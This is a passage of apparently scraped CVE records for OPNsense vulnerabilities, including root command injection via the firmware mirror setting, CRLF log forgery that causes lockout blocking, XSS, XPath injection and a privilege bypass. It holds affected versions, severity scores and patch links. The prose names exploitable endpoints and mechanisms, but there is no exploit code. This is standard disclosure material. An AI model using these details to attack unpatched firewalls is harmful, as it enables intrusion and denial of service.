"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-117",
"description": "Improper Output Neutralization for Logs",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:53.650Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/14f8f7dd1d5f06522d60794a7beeac7adb9eca68"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/2076f2c195bf9537ec220f0e5d6aff998f057410"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/mvc/app/library/OPNsense/Auth/AuthenticationFactory.php#L232"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/core/blob/26.7.7/src/opnsense/scripts/syslog/lockout_handler#L70"
},
{
"name": "GitHub Security Advisory (GHSA-2v2x-m4j7-76pv)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-lockout-factory-ip"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense core before 26.7.8 Lockout IP Planting via WebGUI Login Username",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-core-before-26.7.8-lockout-ip-planting-via-webgui-login-username"
}
],
"title": "OPNsense core before 26.7.8 Lockout IP Planting via WebGUI Login Username",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119423",
"datePublished": "2026-10-30T11:30:53.650Z",
"dateReserved": "2026-10-30T02:41:13.241Z",
"dateUpdated": "2026-11-04T15:05:35.901Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-119409 (GCVE-0-2026-119409)
Vulnerability from nvd – Published: 2026-10-30 11:30 – Updated: 2026-10-30 15:55
VLAI
EPSS
VEX
Title
OPNsense before 26.7.8 Root Command Injection via Firmware Mirror Setting
Summary
OPNsense before 26.7.8 contains a command injection vulnerability that allows authenticated users with the System: Firmware privilege to execute commands as root by storing a malicious firmware mirror URL. Attackers can submit shell metacharacters through POST /api/core/firmware/set that opnsense-update evaluates with eval, and can also disable package signature verification through sed injection.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-30 15:34 UTC
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
8 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
| https://github.com/opnsense/core/commit/1cc41fc39… | patch |
| https://github.com/opnsense/core/commit/8e214533d… | patch |
| https://github.com/opnsense/update/commit/9bfd3b7… | patch |
| https://github.com/opnsense/update/blob/a2b8a10ba… | technical-description |
| https://abraxaslabs.tech/research/opnsense-firmwa… | third-party-advisory |
| https://github.com/opnsense/core | product |
| https://www.vulncheck.com/advisories/opnsense-bef… | third-party-advisory |
Impacted products
Date Public
2026-10-28 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-119409",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-30T15:34:50.876282Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T15:55:57.541Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "core",
"vendor": "opnsense",
"versions": [
{
"lessThan": "26.7.8",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "26.7.8",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*",
"versionEndExcluding": "26.7.8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Voidlet"
},
{
"lang": "en",
"type": "reporter",
"value": "Abraxas Labs"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Franco Fichtner"
}
],
"datePublic": "2026-10-28T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "OPNsense before 26.7.8 contains a command injection vulnerability that allows authenticated users with the System: Firmware privilege to execute commands as root by storing a malicious firmware mirror URL. Attackers can submit shell metacharacters through POST /api/core/firmware/set that opnsense-update evaluates with eval, and can also disable package signature verification through sed injection."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"privilegesRequired": "HIGH",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T11:30:46.595Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-p683-f7x2-pm4p)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p683-f7x2-pm4p"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/1cc41fc39da99d59818c789b3b561f1515126f47"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/core/commit/8e214533d33c3af7481e86f616ee615adc6a0a73"
},
{
"tags": [
"patch"
],
"url": "https://github.com/opnsense/update/commit/9bfd3b7020499b6032ee64804193a9f3ce8178fa"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/opnsense/update/blob/a2b8a10ba85f13b2cd002abb4c8692dde99f0261/src/update/opnsense-update.sh.in#L165"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://abraxaslabs.tech/research/opnsense-firmware-mirror-sed"
},
{
"tags": [
"product"
],
"url": "https://github.com/opnsense/core"
},
{
"name": "VulnCheck Advisory: OPNsense before 26.7.8 Root Command Injection via Firmware Mirror Setting",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/opnsense-before-26.7.8-root-command-injection-via-firmware-mirror-setting"
}
],
"title": "OPNsense before 26.7.8 Root Command Injection via Firmware Mirror Setting",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-119409",
"datePublished": "2026-10-30T11:30:46.595Z",
"dateReserved": "2026-10-30T01:22:43.836Z",
"dateUpdated": "2026-10-30T15:55:57.541Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-115425 (GCVE-0-2026-115425)
Vulnerability from nvd – Published: 2026-10-26 08:10 – Updated: 2026-10-26 14:24
VLAI
EPSS
VEX
Title
Multiple cross-site scripting (XSS) in OPNsense
Summary
Multiple cross site scripting (XSS) vulnerabilities affect OPNsense firewall vesrion 26.7.1_1 and earlier allows low privileged attacker to execute Javascript in the context of another user visiting a specific page or clicking on a specifically crafted link.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-26 14:24 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://digitalcanion.com/security-research/#ghsa… | third-party-advisory |
| https://github.com/opnsense/core/security/advisor… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| OPNsense | OPNsense firewall |
Affected:
0 , ≤ 26.7.1_1
(custom)
Unaffected: 26.7.7 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-115425",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-26T14:24:17.770527Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79 Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-26T14:24:20.876Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "OPNsense firewall",
"vendor": "OPNsense",
"versions": [
{
"lessThanOrEqual": "26.7.1_1",
"status": "affected",
"version": "0",
"versionType": "custom"
},
{
"status": "unaffected",
"version": "26.7.7"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Brian Mariani - DigitalCanion SA"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cdiv\u003eMultiple cross site scripting (XSS) vulnerabilities affect\u0026nbsp;OPNsense firewall vesrion\u0026nbsp;26.7.1_1 and earlier\u0026nbsp;allows low privileged attacker to execute Javascript in the context of another user visiting a specific page or clicking on a specifically crafted link.\u003c/div\u003e"
}
],
"value": "Multiple cross site scripting (XSS) vulnerabilities affect\u00a0OPNsense firewall vesrion\u00a026.7.1_1 and earlier\u00a0allows low privileged attacker to execute Javascript in the context of another user visiting a specific page or clicking on a specifically crafted link."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "IRRECOVERABLE",
"Safety": "PRESENT",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 5.6,
"baseSeverity": "MEDIUM",
"exploitMaturity": "PROOF_OF_CONCEPT",
"privilegesRequired": "LOW",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/S:P/AU:Y/R:I/V:C/RE:M/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-26T08:10:14.534Z",
"orgId": "455daabc-a392-441d-aa46-37d35189897c",
"shortName": "NCSC.ch"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://digitalcanion.com/security-research/#ghsa-9h93-hhcx-957c"
},
{
"tags": [
"vendor-advisory"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-9h93-hhcx-957c"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Multiple cross-site scripting (XSS) in OPNsense",
"x_generator": {
"engine": "Vulnogram 1.0.5"
}
}
},
"cveMetadata": {
"assignerOrgId": "455daabc-a392-441d-aa46-37d35189897c",
"assignerShortName": "NCSC.ch",
"cveId": "CVE-2026-115425",
"datePublished": "2026-10-26T08:10:14.534Z",
"dateReserved": "2026-10-22T13:40:10.572Z",
"dateUpdated": "2026-10-26T14:24:20.876Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-71490 (GCVE-0-2026-71490)
Vulnerability from nvd – Published: 2026-10-15 15:24 – Updated: 2026-10-15 15:45
VLAI
EPSS
VEX
Title
OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\Core\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.
Severity
7.1 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:44 UTC
CWE
- CWE-863 - Incorrect Authorization
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/578e02511… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e15a88497… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/f674f4ff2… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-71490",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:44:35.198725Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:45:03.645Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\\Core\\ACL::hasPrivilege() appends a directly assigned comma-separated \u003cpriv\u003e value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863: Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:24:43.580Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-p9pr-782r-w2xw"
},
{
"name": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/578e025111161ffd03fd3fd0ccdac203be546505"
},
{
"name": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e15a884973746319e79bd2cd421e8a015cc3ddb9"
},
{
"name": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/f674f4ff294a3f7c4cd0591563f6df47bea50034"
}
],
"source": {
"advisory": "GHSA-p9pr-782r-w2xw",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Direct comma-separated user privileges bypass OPNsense MVC read-only write protection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-71490",
"datePublished": "2026-10-15T15:24:43.580Z",
"dateReserved": "2026-08-06T19:56:23.725Z",
"dateUpdated": "2026-10-15T15:45:03.645Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63442 (GCVE-0-2026-63442)
Vulnerability from nvd – Published: 2026-10-15 15:22 – Updated: 2026-10-16 17:13
VLAI
EPSS
VEX
Title
OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication → Pf Table IP Blocking
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer's readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker's own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 20:24 UTC
CWE
- CWE-117 - Improper Output Neutralization for Logs
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/8bdaad95f… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/c930ab586… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-63442",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T20:24:38.956809Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-16T17:13:35.384Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the unauthenticated WebGUI login usernamefld accepts carriage-return and line-feed characters that survive LOG_AUTH processing through syslog-ng-lockout.conf into the syslog-ng program destination feeding lockout_handler. The consumer\u0027s readline() processing treats an injected fragment as a separate authentication event and selects the first syntactically valid IP address from the forged line. An attacker with network access to the login page can forge failure events for another IP, causing that IP to be added to the sshlockout PF table and its active states to be killed, or forge accepted events that reset an attacker\u0027s own brute-force counter. This can block administrative, DNS, gateway, or monitoring addresses and can bypass password-guessing lockout without authentication. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-117",
"description": "CWE-117: Improper Output Neutralization for Logs",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:22:16.011Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2v2x-m4j7-76pv"
},
{
"name": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/8bdaad95f405f4587bb83bf35aa652ca493cc2a4"
},
{
"name": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/c930ab586ffe2d2e010e5135657e5e054316ff58"
}
],
"source": {
"advisory": "GHSA-2v2x-m4j7-76pv",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Log Forgery via Login Username CRLF in WebGUI Authentication \u2192 Pf Table IP Blocking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-63442",
"datePublished": "2026-10-15T15:22:16.011Z",
"dateReserved": "2026-07-16T19:35:57.767Z",
"dateUpdated": "2026-10-16T17:13:35.384Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58395 (GCVE-0-2026-58395)
Vulnerability from nvd – Published: 2026-10-15 15:16 – Updated: 2026-10-15 18:41
VLAI
EPSS
VEX
Title
OPNsense: XPath injection in MVC safe-delete
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the safe-delete path reached through ApiMutableModelControllerBase::delBase() interpolates an unvalidated safe-delete token from the request URL into an XPath expression over config.xml before confirming that the token is a valid identifier. A user holding any one affected module privilege can send a crafted token to one of 21 affected delete endpoints covering Traffic Shaper, DHCP relay, Dnsmasq, Firewall Category, or Kea DHCP, causing the XPath to match configuration data across modules. The resulting error response exposes configuration item names, descriptions, reference paths, and UUIDs and provides an XPath substring-presence oracle, including for modules the user cannot otherwise access. The request does not modify configuration or perform a deletion. This issue is fixed in version 26.1.11.
Severity
4.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 18:37 UTC
CWE
- CWE-643 - Improper Neutralization of Data within XPath Expressions ('XPath Injection')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/631e14721… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/d7054cef6… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58395",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T18:37:26.648179Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T18:41:38.423Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the safe-delete path reached through ApiMutableModelControllerBase::delBase() interpolates an unvalidated safe-delete token from the request URL into an XPath expression over config.xml before confirming that the token is a valid identifier. A user holding any one affected module privilege can send a crafted token to one of 21 affected delete endpoints covering Traffic Shaper, DHCP relay, Dnsmasq, Firewall Category, or Kea DHCP, causing the XPath to match configuration data across modules. The resulting error response exposes configuration item names, descriptions, reference paths, and UUIDs and provides an XPath substring-presence oracle, including for modules the user cannot otherwise access. The request does not modify configuration or perform a deletion. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-643",
"description": "CWE-643: Improper Neutralization of Data within XPath Expressions (\u0027XPath Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:16:49.985Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-98h6-479q-9q3w"
},
{
"name": "https://github.com/opnsense/core/commit/631e14721b311badc1d3c0d29321e4d42585156b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/631e14721b311badc1d3c0d29321e4d42585156b"
},
{
"name": "https://github.com/opnsense/core/commit/d7054cef69f72588feac1091254960835be19dfe",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/d7054cef69f72588feac1091254960835be19dfe"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-98h6-479q-9q3w",
"discovery": "UNKNOWN"
},
"title": "OPNsense: XPath injection in MVC safe-delete"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58395",
"datePublished": "2026-10-15T15:16:49.985Z",
"dateReserved": "2026-06-30T18:19:58.378Z",
"dateUpdated": "2026-10-15T18:41:38.423Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58394 (GCVE-0-2026-58394)
Vulnerability from nvd – Published: 2026-10-15 15:20 – Updated: 2026-10-15 18:36
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS in Administration Settings via Certificate Description
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, src/www/system_advanced_admin.php reads certificate records into $a_cert but omits that array from legacy_html_escape_form_data() before rendering each certificate descr value in the SSL Certificate selector. The certificate description accepts HTML metacharacters, allowing a user with the page-system-certmanager privilege to store markup that executes when another user opens System Settings Administration. This issue is fixed in version 26.1.11.
Severity
5.2 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 18:35 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/9d0a590e9… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/adcb02f8f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-58394",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T18:35:21.476267Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T18:36:57.734Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
